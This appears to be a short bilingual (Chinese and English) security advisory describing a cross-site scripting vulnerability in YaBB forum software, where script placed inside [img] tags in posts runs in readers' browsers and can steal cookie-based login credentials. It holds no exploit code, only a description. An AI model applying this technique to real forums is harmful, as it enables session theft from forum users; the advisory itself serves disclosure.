YaBB(YetAnotherBulletinBoard)是一款免费开放源码的WEB论坛/社区程序，由PERL语言实现，可以运行在unix/linux、MacOS、MicrosoftWindows9x/ME/NT/2000/XP系统平台下。YaBB对用户输入过滤上存在漏洞，可使远程攻击者利用在论坛上发贴对其他浏览用户进行跨站脚本执行攻击。YaBB支持在帖子中用户使用[img][/img]标记插入图象连接，但它未对标记中的内容做充分过滤，这可能导致攻击者在此标记的内容中放入脚本代码，当其他用户浏览相关此连接的时候，脚本将在用户的浏览器中执行。攻击者可能借此得到用户基于COOKIE的认证信息。

YaBB (Yet Another Bulletin Board) is freely available web forums/community software that is written in Perl. YaBB will run on most Unix/Linux variants, MacOS, and Microsoft Windows 9x/ME/NT/2000/XP platforms.

YaBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running YaBB.

This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.
